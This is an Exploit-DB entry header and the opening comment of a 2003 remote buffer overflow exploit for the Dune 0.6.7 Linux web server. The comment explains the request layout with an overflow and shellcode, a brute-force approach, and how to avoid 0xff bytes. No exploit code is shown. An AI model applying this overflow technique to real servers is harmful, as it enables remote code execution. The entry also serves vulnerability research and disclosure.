Dune 0.6.7 - GET Remote Buffer Overrun

EDB-ID:

22786

CVE:



Author:

V9

Type:

remote


Platform:

Linux

Date:

2003-06-17


// source: https://www.securityfocus.com/bid/7945/info

It has been reported that Dune is vulnerable to a remote boundary condition error when handling long requests. This could allow a remote attacker to execute arbitrary code on a vulnerable system. 

/*[ dune[0.6.7+-]: remote buffer overflow exploit. ]*
 * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo) *
 *                                                  *
 * dune is a httpd webserver for linux, which can   *
 * be found at:                                     *
 *  http://www.freshmeat.net/projects/dune          *
 *                                                  *
 * i originally made a proof of concept(broken)     *
 * exploit for it a couple years ago.  but, i       *
 * decided to finally make a working exploit for    *
 * it.  probably the most easy-to-use exploit i've  *
 * ever made.  the brute force method will allow    *
 * the exploit to work out of the box, on linux.    *
 *                                                  *
 * this exploit exploits the "multiuser" feature of *
 * dune.  the request sent will look like:          *
 *  "GET /~[48 bytes/overflow] [shellcode]\n\n"     *
 * the shellcode is placed where "HTTP/?.?" would   *
 * normally go.  but, dune doesn't seem to care.    *
 * if it is placed elsewhere alot of characters     *
 * will get truncated/passed to different           *
 * functions.                                       *
 *                                                  *
 * one problem though.  because of this:            *
 *  main.c:185:if(buffer[0]==EOF) exit(0);          *
 *  main.c:203:if(buffer[0]==EOF) exit(0);          *
 * no 0xff's can be sent to the server, for this to *
 * work.  but, i've made the exploit to work around *
 * the problem.                                     *
 *                                                  *
 * note: dune does drop privileges(uid/gid), if     *
 * started as root.  but, does not initgroups()     *
 * accordingly.                                     *
